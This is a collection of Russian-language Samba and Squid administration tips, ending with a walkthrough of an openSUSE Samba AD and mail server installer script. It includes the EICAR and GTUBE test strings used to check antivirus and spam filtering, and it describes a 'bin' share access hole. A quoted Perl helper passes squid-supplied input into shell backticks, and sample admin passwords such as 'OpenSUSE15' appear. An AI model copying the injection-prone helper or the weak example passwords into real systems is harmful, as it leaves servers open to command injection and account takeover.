            comment = Guest access share
            path = /path/to/dir/to/share
            browseable = yes
            read only = yes
            guest ok = yes
    
     
    ----* Авторизация пользователей по доменным группам AD в squid (доп. ссылка 1)   Автор: Nichls  [комментарии]
     
    В squid.conf
    
    #Здесь описываем внешие ACL
    external_acl_type InetGroup-proxy-08-20ww %LOGIN /usr/local/squid/libexec/wbinfo_group.pl
    # accesse in internet in work week from 08-00 to 20-00
    external_acl_type InetGroup-proxy-08-20aw %LOGIN /usr/local/squid/libexec/wbinfo_group.pl
    # accesse in internet in all week from 08-00 to 20-00
    external_acl_type InetGroup-proxy-00-24all %LOGIN /usr/local/squid/libexec/wbinfo_group.pl
    # accesse in internet in all week from 00-00 to 24-00
    
    # Проверь свои пути
    auth_param ntlm children 20
    auth_param ntlm program /usr/local/samba/bin/ntlm_auth --helper-protocol=squid-2.5-ntlmssp
    auth_param ntlm max_challenge_reuses 0
    auth_param ntlm max_challenge_lifetime 2 minutes
    
    auth_param basic children 20
    auth_param basic program /usr/local/samba/bin/ntlm_auth --helper-protocol=squid-2.5-basic
    auth_param basic realm Squid proxy-caching web server
    auth_param basic credentialsttl 2 hours
    
    # Говорим, что нужна авторизация
    acl you_domain proxy_auth REQUIRED
    
    # Разграничиваем доступ по времени
    acl work-week time MTWHF 08:00-20:00 #  Доступ с 08-00 до 20-00 с понедельника по пятницу
    acl all-week time SMTWHFA 08:00-20:00 # Доступ с 08-00 до 20-00 всю неделю
    acl all-time time SMTWHFA 00:00-24:00 # Доступ круглосуточно всю неделю
    
    # Осуществляем проверку на принадлежность к нужно группе
    acl InetAccess-proxy-08-20ww external InetGroup-proxy-08-20ww proxy-08-20ww
    acl InetAccess-proxy-08-20aw external InetGroup-proxy-08-20aw proxy-08-20aw
    acl InetAccess-proxy-00-24all external InetGroup-proxy-00-24all proxy-00-24all
    
    # Собираем все в кучу и проверяем на предмет получения дуступа к ИНТЕРНЕТ
    http_access allow you_domain work-week InetAccess-proxy-08-20ww
    http_access allow you_domain all-week InetAccess-proxy-08-20aw
    http_access allow you_domain all-time InetAccess-proxy-00-24all
    
    ----------------------
    
    proxy-08-20ww, proxy-08-20aw, proxy-00-24all - Группы в домене. В них заносишь
    тех юзеров, которым разрешен доступ.
    
    wbinfo_group.pl - Используй именно этот скрипт. В том, что идет в комплекте со
    squid имеется ошибка.
    Здесь она исправлена.
    
    #!/usr/bin/perl -w
    #
    # external_acl helper to Squid to verify NT Domain group
    # membership using /usr/local/samba/bin/wbinfo
    #
    # This program is put in the public domain by Jerry Murdock
    # <jmurdock@itraktech.com>. It is distributed in the hope that it will
    # be useful, but WITHOUT ANY WARRANTY; without even the implied warranty
    # of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
    #
    # Author:
    #   Jerry Murdock <jmurdock@itraktech.com>
    #
    # Version history:
    #   2002-07-05 Jerry Murdock <jmurdock@itraktech.com>
    #               Initial release
    #
    
    # external_acl uses shell style lines in it's protocol
    require 'shellwords.pl';
    
    # Disable output buffering
    $|=1;
    
    sub debug {
            # Uncomment this to enable debugging
            print STDERR "@_\n";
    }
    
    #
    # Check if a user belongs to a group
    #
    sub check {
            local($user, $group) = @_;
            $groupSID = `/usr/local/samba/bin/wbinfo -n "$group"`;
    #        chop  $groupSID;
            # because wbinfo -n also returns the group number
            $groupSID = substr($groupSID,0,index($groupSID," ",0));
            $groupGID = `/usr/local/samba/bin/wbinfo -Y "$groupSID"`;
            chop $groupGID;
    #       &debug( "User:  -$user-\nGroup: -$group-\nSID:   -$groupSID-\nGID:   -$groupGID-");
            return 'OK' if(`/usr/local/samba/bin/wbinfo -r \Q$user\E` =~ /^$groupGID$/m);
            return 'ERR';
    }
    #
    # Main loop
    #
    while (<STDIN>) {
            chop;
            &debug ("Got $_ from squid");
            ($user, $group) = &shellwords;
            $ans = &check($user, $group);
            &debug ("Sending $ans to squid");
            print "$ans\n";
    }
    
    ----------------------------------------------------------------------------------------------------------
    smb.conf
    
    [global]
            workgroup = YOU-DOMAIN
            realm = YOU-DOMAIN.RU
            netbios name = demon
            server string =  Proxy Server
            hosts allow = 10. 127.
            winbind separator = \\ # Обрати на это внимание
            winbind use default domain = yes
            winbind uid = 10000-20000
            winbind gid = 10000-20000
            winbind enum users = yes
            winbind enum groups = yes
            template homedir = /home/winnt/%D/%U
            template shell = /usr/local/bin/bash
            max log size = 50
            security = domain
            password server = srv1 srv3
            encrypt passwords = yes
    
    srv1 и srv3 - PRIMARY and BACKUP контроллеры домена
    
    ----------------------------------------------------------------------------------------------------------
    root@demon#tail -f /usr/local/squid/var/logs/cache.log
    Got YOU-DOMAIN\\user1 proxy-08-20ww from squid
    Sending ERR to squid
    Got YOU-DOMAIN\\user1 proxy-08-20aw from squid
    Sending ERR to squid
    Got YOU-DOMAIN\\user1 proxy-00-24all from squid
    Sending OK to squid
    # Тут явно видно, что пользователя user1 нашли в группе proxy-00-24all и squid'у передано OK
    Got YOU-DOMAIN\\user2 proxy-08-20ww from squid
    Sending OK to squid
    Got YOU-DOMAIN\\user3 proxy-08-20ww from squid
    Sending OK to squid
    
    root@demon#tail -f /usr/local/squid/var/logs/access.log
    1147851551.270     20 10.66.107.56 TCP_IMS_HIT/304 251 GET
    http://img.mail.ru/mail/ru/css/mail-main1.css YOU-DOMAIN\user1 NONE/- text/css
    
    
    Небольшое дополнение:
    
    Информация о членстве в группе хранится в кеше squida (по умолчанию) 1 час, а в
    кеше Winbinda - 300 сек.
     Чтобы не ждать столько времени при перемещении пользователя из одной группы в другую 
    советую добавить в squid.conf при описании внешиx ACL опцию ttl,примерно так:
    
    external_acl_type InetGroup-proxy-08-20ww ttl=0 %LOGIN /usr/local/squid/libexec/wbinfo_group.pl
    
    а в smb.conf:
    
    [global]
             winbind cache time = 0
    
     
    ----* Интеграция VPN на базе mpd в Active Directory.   Автор: spherix  [комментарии]
     
    Было дано:
     - Домен на Windows2003 с поднятым Kerberos.
     - FreeBSD на шлюзе, куда должны были подключаться пользователи.
     - VPN-демон mpd.
    
    Задача: заставить mpd брать пароли из домена.
    
    Решение:
    
     - Ставим третью самбу с поддержкой кербероса.
     - Настраиваем керберос
     - Подсоединяем самбу в домен.
     - Оставляем от нее только winbindd 
     - Ставим freeradius.
     - Сцепляем радиус с самбой.
     - Скручиваем mpd с радиусом и настраиваем сам mpd.
    
    Итог: управляем учетными записями VPN-пользователей через обычные средства AD, 
    а не пишем руками данные в файл. 
    
    Примечание1. Документация гласит, что можно связать радиус с керберосом. 
    То есть теоретически можно отказаться от самбы. Я так не делал, 
    поскольку подцепить через самбу мне лично было проще.
    
    Примечание2. Если использовать poptop, то можно не использовать 
    радиус, а использовать ntlm_auth из самбы. Тоже вариант.
    
    
    Файлы конфигурации: http://www.opennet.ru/base/net/mpd_win2003.txt.html
    
     
    ----* Samba 3 в качестве PDC.   Автор: AlxJoin  [комментарии]
     
    1.Программные пакеты которые пригодятся при установке и настройке PDC.
       samba-client-3.0.23-0.1.14rc2 или любая другая версия не ниже третьей.
       samba-3.0.23-0.1.14rc2 или любая другая версия не ниже третьей.
       webmin-1.270-1 для администрирования через веб-интерфейс.
    
    Пакет Samba последней версии можно скачать с сайта разработчика http://www.samba.org 
    и программу для администрирования через веб-интерфейс по адресу http://www.opencountry.com
    
    Для начала устанавливаем Samba и Webmin.
    
    После того как установили Samba нам потребуется отредактировать файл smb.conf 
    который находится в директории /etc/samba. 
    Пример рабочего файла который можно не править.
    
    # smb.conf is the main Samba configuration file. You find a full commented
    # version at /usr/share/doc/packages/samba/examples/smb.conf.SUSE if the
    # samba-doc package is installed.
    # Date: 2006-05-02
    [global]
    	workgroup = univer.local
    	printing = cups
    	printcap name = cups
    	printcap cache time = 750
    	cups options = raw
    	map to guest = Bad User
    	include = /etc/samba/dhcp.conf
    	logon path = \\%L\profiles\.msprofile
    	logon home = \\%L\%U\.9xprofile
    	logon drive = P:
    	add machine script = /usr/sbin/useradd  -c Machine -d /var/lib/nobody -s /bin/false %m$
    	domain logons = Yes
    	domain master = Yes
    	local master = Yes
    	netbios name = netserv1
    	os level = 65
    	preferred master = Yes
    	security = user
    	idmap gid = 10000-20000
    	idmap uid = 10000-20000
    [homes]
    	comment = Home Directories
    	valid users = %S, %D%w%S
    	browseable = No
    	read only = No
    	inherit acls = Yes
    [profiles]
    	comment = Network Profiles Service
    	path = %H
    	read only = No
    	store dos attributes = Yes
    	create mask = 0600
    	directory mask = 0700
    [users]
    	comment = All users
    	path = /home
    	read only = No
    	inherit acls = Yes
    	veto files = /aquota.user/groups/shares/
    [groups]
    	comment = All groups
    	path = /home/groups
    	read only = No
    	inherit acls = Yes
    [printers]
    	comment = All Printers
    	path = /var/tmp
    	printable = Yes
    	create mask = 0600
    	browseable = No
    [print$]
    	comment = Printer Drivers
    	path = /var/lib/samba/drivers
    	write list = @ntadmin root
    	force group = ntadmin
    	create mask = 0664
    	directory mask = 0775
    [netlogon]
    	comment = Network Logon Service
    	path = /var/lib/samba/netlogon
    	write list = root
    
    Для того что бы администрировать сервер придется поставить 
    программу удаленного администрирования через веб-интерфейс - Webmin. 
    После установки к серверу можно подключится через веб интерфейс по адресу https://localhost:10000 
    и там в службах есть настройка SMB-сервера, где можно Linux-пользователей
    копировать в SMB-пользователей.
    
     
    ----* Сборка Samba с авторизацией в домене 2003 на FreeBSD   Автор: Артём  [комментарии]
     Решил рассказать про проблемы с которыми я столкнулся при сборке самбы:
    1. В самбе 3.14a наблюдается некорректная запись в логи даже при правильной настройке.
    2. Были проблемы при сборке с heimdal. Команда id не выводила пользователей доменов при правильных конфигах, хотя всё работало.
    3. Чтобы керберос работал по tcp надо писать tcp/имя сервера:порт, а не kdc = tcp/server !
    4. Пока не обновил порты и не пересобрал базу портов ( смотрите статью "хитрости работы с портами") 5 керберос не собирался.
    5. После того как я решил переджойнить машину в домен, билет не хотел обновляться ни в какую. Пришлось ждать 10 часов пока он умрёт. Желающие могут поразвлекаться с утилитой управления билетами, которая входит в 2003 recourse kit и называется kutil.
    6. Решение - сразу обновить порты собирать только новое ! 3.0.22 на данный момент + 5 kerberos . Сразу включать его работу через tcp . После того как всё завелось ничего не переджойнивать и преспокойно раздавать шары.
    7. Без обновлений портов работала связка 3.0.14a + krb4 но ошибка в логи валилась и на живой домен я так и не смог это поднять , только на виртуальной машине.
     
    ----* SQUID в сети SAMBA + LDAP, использование групповых ACL   Автор: Афлетдинов Андрей  [комментарии]
     
    Имеем:
       1. Учетные записи пользователей и групп в LDAP
       2. Поднят домен на SAMBA-3.
    
    На стороне сервера SQUID конфигурируем:
       1. /etc/ldap.conf и /etc/nsswith.conf в результате getent passwd и getent group выдает список пользователей и групп
    
       2. минимальный /etc/smb.conf:
       
          [global]
              workgroup = domain
              netbios name = squid
              load printers = no
              printcap name = /dev/null
              security = domain
              password server = sambaserver
              local master = no
              os level = 33
              domain master = no
              preferred master = no
              wins support = no
              winbind use default domain = yes
              winbind cache time = 1200
    
       3. Заводим в домен net -Uadministrator join
    
       4. Запускаем winbind, но при этом в /etc/nsswith.conf его _не_прописываем_
    
       5. разрешаем чтение pipe winbindd процессу squid любым доступным способом, 
           например: setfacl -g:squid:rx /var/lib/samba/winbindd_privileged
    
       6. samba в дальнейшем не нужна
    
       7. далее в squid.conf:
    
          # стандартные опции авторизации
          auth_param ntlm program /usr/bin/ntlm_auth --helper-protocol=squid-2.5-ntlmssp
          auth_param ntlm children 5
          auth_param ntlm max_challenge_reuses 0
          auth_param ntlm max_challenge_lifetime 2 minutes
          auth_param ntlm use_ntlm_negotiate off
          auth_param basic program /usr/bin/ntlm_auth --helper-protocol=squid-2.5-basic
          auth_param basic children 5
          auth_param basic realm Squid proxy-caching web server
          auth_param basic credentialsttl 2 hours
          auth_param basic casesensitive off
    
          # авторизация обязательна
          acl NTLMauth proxy_auth REQUIRED
    
          # определяем типы ACL
          external_acl_type type_ldap_group1 ttl=60 children=1 %LOGIN 
               /usr/lib/squid/   squid_ldap_group.pl -b "cn=group1,ou=group,dc=ldap,dc=local" -H ldaps://ldap.local
          external_acl_type type_ldap_group2 ttl=60 children=1 %LOGIN 
              /usr/lib/squid/squid_ldap_group.pl -b "cn=group2,ou=group,dc=ldap,dc=local" -H ldaps://ldap.local
          external_acl_type type_ldap_group3 ttl=60 children=1 %LOGIN 
              /usr/lib/squid/squid_ldap_group.pl -b "cn=group3,ou=group,dc=ldap,dc=local" -H ldaps://ldap.local
    
          # и сами ACL
          acl acl_group1 external type_ldap_group1
          acl acl_group2 external type_ldap_group2
          acl acl_group3 external type_ldap_group3
    
    ВСЕ. Дальше с ними можно работать как с обычными ACL, начиная от простого
         http_access allow acl_group1
    и заканчивая в вариантах пула и по времени.
    
    При изменении информации в группе LDAP, squid примет изменения только через
    время определенное в ttl, таким образом перезапускать его как -kreconfigure нет
    необходимости, что уже плюс!
    
    Да вот еще, сам скрипт /usr/lib/squid/squid_ldap_group.pl очень прост:
    
    #!/usr/bin/perl
    #
    # squid ldap group
    # mailto:afletdinov\@dc.baikal.ru
    #
    
    use Getopt::Long qw(:config no_ignore_case);
    use Net::LDAP;
    use strict;
    
    # const
    my $VERSION = '20051122';
    
    # variables
    my $ldap;
    my $user;
    my $result;
    #my $pass;
    
    my $opt_groupdn = '';
    my $opt_binddn = '';
    my $opt_bindpasswd = '';
    my $opt_secretfile = '';
    my $opt_uri = '';
    
    GetOptions(
                'b=s' => \$opt_groupdn,
                'D=s' => \$opt_binddn,
                'w=s' => \$opt_bindpasswd,
                'W=s' => \$opt_secretfile,
                'H=s' => \$opt_uri );
    
    # check: requires param
    &usage unless($opt_groupdn and $opt_uri);
    
    #connect
    $ldap = Net::LDAP->new($opt_uri) or die("connect $opt_uri failed!");
    
    # bind
    if($opt_binddn){
    
        # check: secretfile
        if($opt_secretfile){
            open(FILE, "<$opt_secretfile") or die("error read $opt_secretfile");
            $opt_bindpasswd = <FILE>;
            close(FILE); }
    
        $result = $ldap->bind($opt_binddn, password=>$opt_bindpasswd);
    
    # anonymous bind
    }else{ $result = $ldap->bind(); }
    
    $result->code and die($result->error);
    
    # use buffers off
    $| = 1;
    
    # BASIC
        while(<STDIN>){
            chomp;
    
            # format: user password
            unless(/^(\S+)\s*(\S*)$/){ print "ERR\n"; next; }
    
            $user = $1;
            #$pass = $2;
    
            # check: valid group
            $result = $ldap->search(base=>$opt_groupdn, , filter=>"(memberUid=$user)");
    
            # not found
            unless($result->count){ print "ERR\n"; next; }
    
            # auth: OK group: OK
            print "OK\n";
        }
    
    exit;
    
    sub usage(){
        print <<EOF;
    squid_ldap_group.pl version $VERSION
    
    Usage: squid_ldap_group.pl -b "cn=www-access,ou=group,dc=ldap,dc=local" -H ldaps://ldap.local
    
            -b GroupBaseDN    (REQUIRED)
            -H LdapURI        (REQUIRED)
            -D BindDN     
            -w BindPasswd
            -W SecretFile
    
    EOF
        exit;
    }
    
     
    ----* Работа samba совместно с group policy   Автор: Andrey  [комментарии]
     Group policy работают по схеме NT4. Для этого необходим poledit.exe winnt.adm common.adm.

    Запускаем poledit, загружаем необходимые шаблоны, редактируем default user либо отдельного пользователя, либо группу пользователей потом сохраняем в файл ntconfig.pol

    Почти все настройки определены в одном файле 1_ALLinONE.adm Только одно отличие, для win2k и winxp(win2k3) необходимы разные шаблоны. Его можно найти здесь.

    Сам файл ntconfig.pol необходимо разместить в параметре самбы netlogon path.

    Различия типов операционных систем решается просто через самбу в параметре netlogon path необходимо добавить параметр %a (тип клиентской системы), и в создать папки Win2K WinXP Win2K3, где и будут размещаться необходимый файлы ntconfig.pol

     
    ----* Как запустить Samba в jail (FreeBSD)   Автор: TLM  [комментарии]
     
    Мне удалось запустить Samba 3.0.11 в jail на FreeBSD 4.10 только после того, 
    как в smb.conf были вписаны следующие строчки:
    
       interfaces = 192.168.1.123/32
       bind interfaces only = yes
    
     
    ----* Использование smbfs через autofs   Автор: Konstantin  [комментарии]
     
    Пишем скрипт /etc/auto.smbfs примерно такой:
       #!/bin/sh
       a="${1/@//}"
       a="${a//\ /\\ }"
       echo -fstype=smbfs,username=guest,password=fmask=666,iocharset=cp1251,codepage=cp866 :"//$a"
    
    Параметры - по вкусу. automount как-то небрежно относится к пробелам в имени, но так работает.
    Ставим на файл бит исполнения:
       chmod +x /etc/auto.smbfs
    
    Далее в /etc/auto.master добавляется строка
       /var/autofs/smb   /etc/auto.smbfs
       где /var/autofs/smb  - точка монтирования.
    
    Стартуем:
       /etc/init.d/autofs restart
    
    Для удобства:
       ln -s /var/autofs/smb /smb
    
    Теперь можно обращатся к шаре "share" на хосте "host" вот так: 
       cd /smb/host@share
    по IP тоже работать должно.
    
    Всё написанное верно для дистрибутива debian sarge. Нужны пакеты autofs и smbfs.
    Желающие могут расширить фунциональность, прикрутив  к скрипту передачу логина\пароля через путь.
    
     
    ----* Как выключить w2k машину средствами samba (доп. ссылка 1)   Автор: arruah  [комментарии]
     
    rpcclient -c shutdowninit -U <пользователь с правами администратора%пароль> <ip удаленной машины>
    
     
    ----* шара bin в Samba   Автор: awk  [комментарии]
     
    Если подключиться к шаре bin на сервере samba, и пользователь bin не заведен в smbpasswd, 
    то получим доступ к / под freebsd и к /bin под linux. Причем доступ получаем от имени пользователя,
    под которым залогонились. Т.е., в большинстве случаев, пользователь может получить доступ, 
    как минимум по чтению, даже если шара от него закрыта, используя шару bin.
    Решается, путем добавления пользователя bin в smbpasswd или созданием и
    направлением шары bin на /dev/null
    
     
    ----* Монтирование SMB ресурса в FreeBSD   Автор: Николай Сеньков  [комментарии]
     
    Пересобираем ядро:
      options NETSMB             #SMB/CIFS requester
      options NETSMBCRYPTO  #encrypted password support for SMB
      options LIBMCHAIN     #mbuf management library
      options LIBICONV
      options SMBFS
    Коннектимся к удаленному SMB серверу:
       smbutil login //jwarner@smbserver1
    Монтируем русурс:
       mount_smbfs -N //jwarner@smbserver1/sharename /backup
    Отсоединяемся от SMB сервера:
       smbutil logout //jwarner@smbserver1
    
     
    ----* Символы подстановки переменных в Samba.   Автор: P.Kert  [обсудить]
     
    %S Имя текущей службы
    %P Корневой каталог текущей службы
    %u Пользователь текущей службы
    %g Основная группа %u
    %U Имя пользователя для сеанса (может отличаться от имени,запрошенного клиентом)
    %G Основная группа %U
    %H Домашний каталог пользователя
    %v Версия Samba
    %h Имя хоста, на котором работает Samba
    %m NetBIOS-имя компьютера-клиента
    %L NetBIOS имя сервера 
    %M Имя хоста для компьютера-клиента
    %N Имя NIS-сервера домашних каталогов. Значение определяется при помощи файла
    настройки системы NIS auto map.
       Если вы скомпилировали Samba  без automount, то значение совпадает с установленным для сервера NetBIOS именем
    %p Путь к домашнему каталогу службы. Определяется при помощи файла настройки
    системы NIS auto map, как %N:%p
    %R Выбранный после установления соединения уровень протокола
    %d Номер текущего серверного процесса
    %a Операционная система клиента (значение может быть неверным)
    %I IP-адрес клиентской машины
    %T Текущие дата и время
    
     
    ----* Как примонтировать удаленный SMB диск с русскими именами файлов.   [комментарии]
     
    Получаем список ресурсов:
         smbclient -L 192.168.0.9
    Монтируем:
    smbmount "//192.168.0.9/DISK (H)" /mnt/0 -o guest,iocharset=koi8-r,codepage=cp866
    
     
    ----* Как сделать Samb'у контроллером домена Windows NT/2000 (доп. ссылка 1)   Автор: Pasha Kustov  [комментарии]
     
    smb.conf:
      Domain logons=yes
      domain master=yes
      local master=yes
      os level=63
      preferred master=yes
      encrypt passwords=yes
      admin users=root pasha adm
      username map=/etc/samba/users.map
      admin group=@wheel
    /etc/samba/users.map:
      root=administrator
    # groupadd -d /home/samba -g 6666 SambaComputers
    Для каждой машины-члена домена в сети:
    # useradd -d /home/samba -u 66?? -g 6666 -s /bin/false ИмяМашины$
    Затем:
    # smbpasswd -a ИмяМашины$  (с пустым паролем)
    
     
    ----* Как включить поддержку SMBFS в FreeBSD и примонтировать удаленный windows ресурс.   [комментарии]
     
    пересобираем ядро:
      options NETSMB	      #SMB/CIFS requester
      options NETSMBCRYPTO  #encrypted password support for SMB
      options LIBMCHAIN     #mbuf management library
      options LIBICONV
      options SMBFS
    Коннектимся к удаленному SMB серверу:
       smbutil login //jwarner@smbserver1
    Монтируем русурс:
       mount_smbfs -N //jwarner@smbserver1/sharename /backup
    Отсоединяемся от SMB сервера:
       smbutil logout //jwarner@smbserver1
    
     
    ----* Что можно сделать для увеличения производительности samba ? (доп. ссылка 1)   [комментарии]
     
    В smb.conf:
         socket options = TCP_NODELAY IPTOS_LOWDELAY SO_SNDBUF=4096 SO_RCVBUF=4096
         read size = 32768
         read raw = no
         read prediction = true
         write raw = yes
         wide links = no
         oplocks = yes
         max xmit = 65535
         dead time = 15
         getwd cache = yes
         lpq cache = 30
         level2 oplocks = true
    Linux:
        echo "100 1000 128 128 500 6000 6000 1884 2" >/proc/sys/vm/bdflush
    FreeBSD:
       /sbin/sysctl -w net.local.stream.recvspace=65535
       /sbin/sysctl -w net.local.stream.sendspace=65535
       /sbin/sysctl -w net.inet.tcp.sendspace=65535
       /sbin/sysctl -w net.inet.tcp.recvspace=65535
    
     
    ----* Как запретить запись файлов по определенной маске на Samba сервер   Автор: bass  [комментарии]
     
       veto files = /*.dll/
       veto files = /*.dll/*.exe/
       veto files = /*Security*/*.tmp/*root*/
    
     
    ----* Как позволить пользователям самим менять samba пароли со своих машин.   [комментарии]
     
    security = user
    encrypt passwords = yes
    smb passwd file = /etc/samba/smbpasswd
    unix password sync = yes
    passwd program = /usr/bin/passwd %u
    passwd chat = *New*password* %n\n *Please*retype*new*password* %n\n *password*successfully*updated*
    
     
    ----* Как правильно описать доступ к samba через hosts allow   [обсудить]
     
    hosts allow можно указывать в следующем виде:
        hosts allow = 192.168.1., 127.
        hosts allow = 192.168.1.0, 127.0.0.1/255.255.255.0
        hosts allow = 192.168., EXCEPT 192.168.1.100 
    
     
    ----* Как посмотреть список расшаренных ресурсов на Windows машине   [обсудить]
     
    IP машины - 1.2.3.4
    smbclient -I 1.2.3.4 -L NAME_SERVER
    или: nmblookup -r -A 1.2.3.4
    или: smbclient -N -L hostname -I 1.2.3.4
    или скрипт: smbfind или findsmb
    
     
    ----* Автоматизация установки Samba AD+DDNS+DHCPD и почтового сервера в openSUSE Leap 15.5 (доп. ссылка 1)   Автор: Геннадий Калашников  [комментарии]
     
    Подготовлен скрипт adc_install.sh (копия)  для упрощения миграции с
    продуктов Microsoft на Linux с контроллером домена на основе Samba. Скрипт
    автоматизирует установку  Samba AD+DDNS+DHCPD, почтового сервера на основе
    Postfix+Dovecot и FTP-сервера vstfpd в openSUSE Leap 15.5, что может оказаться
    полезным когда нужно быстро развернуть рабочую систему, а уже потом заниматься
    экспериментами и тонкой настройкой.
    
    
    Cкрипт запускается командой:
    
       ./adc_install.sh (-OPTION)
    
    Поддерживаемые параметры:
    
      -ad_install - Установить Samba_AD NAMED DHCPD.
    
      -ad_uninstall - Удалить конфигурацию Samba_AD.
    
      -ad_restart - Restart Samba_AD NAMED DHCPD.
    
      -ad_status - Status Samba_AD NAMED DHCPD.
    
      -ad_test - Прoверка работы Samba_AD.
    
      -uadd - Создать пользователя домена.
    
      -udel - Удалить пользователя домена.
    
      -gadd - Создать группу домена.
    
      -ugadd - Ввести пользователя в группу домена.
    
      -upass - Задать пароль пользователю домена
    
      -dhcp - Установить DHCPD.
      
      -dhcp_on - Включить DHCPD demon. Вводит IP-адрес и имя компьютера ( принтера, смартфона и пр.) в прямую и обратную зону DNS.
    
      -dhcp_off - Выключить DHCPD demon.
    
      -bind - Установить NAMED.
    
      -c_add - Ввеcти компьютер в DNS.
    
      -c_del - Удалить компьютер из DNS.
    
      -cname_add - Присвоить новое имя компьютеру - CNAME в DNS.
    
      -cname_del - Удалить имя компьютера - CNAME из DNS.
    
      -ns_add - Ввеcти NS запись для компьютера в обратную зону DNS.
    
      -mx_add - Ввеcти MX запись для компьютера в DNS.
    
      -ftp - Установить FTP Сервер VSTPD.
    
      -http - Установить HTTP Сервер Apache2.
    
      -mail_inst - Установить почтовый сервер.
    
      -mail_uninst - Удалить конфигурацию почтового серверa.
    
      -mail_restart - перезапуск почтового серверa.
    
      -mail_status - состояние почтового серверa.
    
      -mail_stop - остановка почтового серверa.
    
      -mail_test - тестирование почтового серверa.
    
      -padmin - Установить PostfixAdmin
    
      -madmin - Установить phpMyAdmin
    
      -rcube - Установить Roundcubemail
    
      -bsys - Бэкап внесённых изменений в систему
    
    
    
    
    
    Устанавливаем свежую версию openSUSE Leap 15.5 с официального сайта openSUSE
    Leap 15.5 - https://get.opensuse.org/leap/15.5/
    
     
    Приступим к установке Samba Active Directory Domain Controller, сопровождая
    этот процесс скриншотами
    
    Стартуем Yast2 и устанавливаем:
    
      1. Название сервера --> adc.dyhap.net
      2. Название домена --> dyhap.net
      3. IP адрес сервера --> 192.168.3.4
      4. Шлюз --> 192.168.3.2
      5. IP адрес внешнего DNS --> 192.168.1.1 и 1.1.1.1
    
    
    
    
    
    Мы видим - сервер получил нужные параметры.
    
    Теперь выполним команду:
    
       # ./adc_install.sh -ad_install
    
    
    
    
    Зададим пароль администратору Samba AD... ну скажем --> "OpenSUSE15".
    
    Зададим IP DNS --> 192.168.1.1
    
    
    
    
    Установка Samba AD+DDNS+DHCPD закончена.
    
    Осталось только сделать "reboot" сервера, чтобы наши установки вступили в силу.
    
    После старта проверим статус Samba AD, DNS и DHCP-Сервера.
    
    Выполним команду:
    
       # ./adc_install.sh -ad_restart
    
    ... и проверим статус сервера выполнив команду:
    
       # ./adc_install.sh -ad_status
    
    
    
    
    
    Сделаем тест системы.
    
    И выполним команду:
    
       # ./adc_install.sh -ad_test
    
    
    
    
    
    Теперь можем создать пользователя домена... ну скажем --> Wasja Pupkin.
    
    Выполним команду:
    
       # ./adc_install.sh -uadd
    
    
    
    
    Wasja Pupkin получил login для машины Windows в домене DYHAP: --> w.pupkin
    
    Так же netlogon скрипт: --> w.pupkin.bat
    И email-адрес: --> w.pupkin@dyhap.net
    
    Выполним команду:
    
       # ./adc_install.sh -mail_test
    
    А вот email-адреса "test_user@dyhap.net" как и пользователя домена "test_user" в системе нет.
    
    Создадим пользователя домена --> test_user.
    
    
    
    
    
    Установка Samba Active Directory Domain Controller закончена.
    
    
    Теперь приступим к установке почтового сервера.
    
    Выполнив команду:
    
       # ./adc_install.sh -mail_inst
    
    мы установим:
    
       1. service postfix
       2. service dovecot
       3. service amavis
       4. service spamd
       5. service clamd
       6. service clamav-milter
       7. service fail2ban
       8. service freshclam
    
    Для этого необходимо создать:
    
    1. ssl-сертификаты
    
    2. администратора почтового сервера... --> mailadmin
    
    3. пароль администратору mailadmin .. ну скажем --> "OpenSUSE15"
    
    
    
    
    
    
    Установка почтового Сервера закончена.
    
    
    Теперь можно добавить компьютер Windows по имени "win12" в домен Active Directory.
    
    1. Стартуем компьютер в локальной сети
    
    --> параметры сетевого адаптера получены от DHCP сервера
    
    2. "test_user" в домене --> DYHAP\test_user
    
    3. IP адрес win12.dyhap.net --> 192.168.3.50
    
    4. DHCP-Сервер ввёл win12.dyhap.net в DNS
    
    
    
    
    Стандартный процесс --> администратор "win12" вводит его в домен.
    
    
    
    
    
    
    В окне авторизации test_user указывает свои учетные данные и получает права на
    ввод в рабочей станции win12 в домен.
    
    
    
    
    Теперь test_user получил доступ к таким ресурсам в Active Directory,
    как электронная почта, приложения и сеть.
    
    При входе стартует скрипт "test_user.bat" и test_user получил доступ
    к таким ресурсам "Users" и "public" в сети Active Directory
    
    
    
    
    
    Домашний каталог test_user на сервере.
    
    1. Перемещаемый профиль --> test_user.V6
    
    2. Почтовый каталог --> Maildir
    
    
    
    
    
    Теперь протестируем работу почтового Сервера .
    
    Выполним команду:
    
       # ./adc_install.sh -mail_status
    
    
    
    [[IMG /soft/adc/mail/[33.jpg]]
    
    
    ...всё работает
    
    Стартуем на сервере почтовый клиент Thunderbird.
    
    1. Cоздадим учетную запись почты пользователя --> "mailadmin"
    
    2. "mailadmin" отправил письмо пользователю --> "gennadi@dyhap.net"
    
    3. Сообщение об ошибке можно проигнорировать и повторить
    
    4. Это информация о том, что ssl-сертификаты самодельные.
    
    
    
    
    
    
    
    
    
    
    Пользователь "gennadi" принимает письмо от "mailadmin" почтовым клиентом KMail openSUSE 15.5 .
    
    Стартуем на сервере почтовый клиент Kmail.
    
    1. Cоздадим учетную запись почты пользователя --> "gennadi"
    
    4. И принимаем информацию о том, что ssl-сертификаты самодельные.
    
    
    
    
    
    
    
    
    
    
    
    
    Пользователь "gennadi" получил письмо от "mailadmin" и отправляет ответ.
    
    Пользователь "mailadmin" отправляет письмо с тест-вирусом:
    
    X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
    
    --> на имя "gennadi". НО антивирус "clamd" заблокировал его.
    
    
    
    
    
    Пользователь "gennadi" отправляет письмо с ANTI-SPAM-TEST:
    
    XJS*C4JDBQADN1.NSBN3*2IDNEN*GTUBE-STANDARD-ANTI-UBE-TEST-EMAIL*C.34X
    
    --> на имя "mailadmin". НО антиспам "amavis" отправляет его в карантин.
    
    
    
    
    
    
    ANTI-SPAM и ANTIVIRUS работают
    
     
    
    Cоздадим учетную запись почты пользователя "test_user" на компьютере "win12"
    
    
    
    
    
    
    Пользователь "test_user" получил письмо от "mailadmin" и отправляет ответ.
    
    
    
    
    
    
    Почтовый Сервер прекрасно работает. НО для работы в интернете нужны настоящие SSL-сертификаты.
    
    
    Установка Apache2+PHP8+SSL.
    
    Выполним команду:
    
       # ./adc_install.sh -http
    
    
    
    
    
    Установка phpMyAdmin.
    
    Выполним команду:
    
       # ./adc_install.sh -madmin
    
    login: root
    Password: OpenSUSE15
    
    
    
    
    Установка PostfixAdmin.
    
    Выполним команду:
    
       # ./adc_install.sh -padmin
    
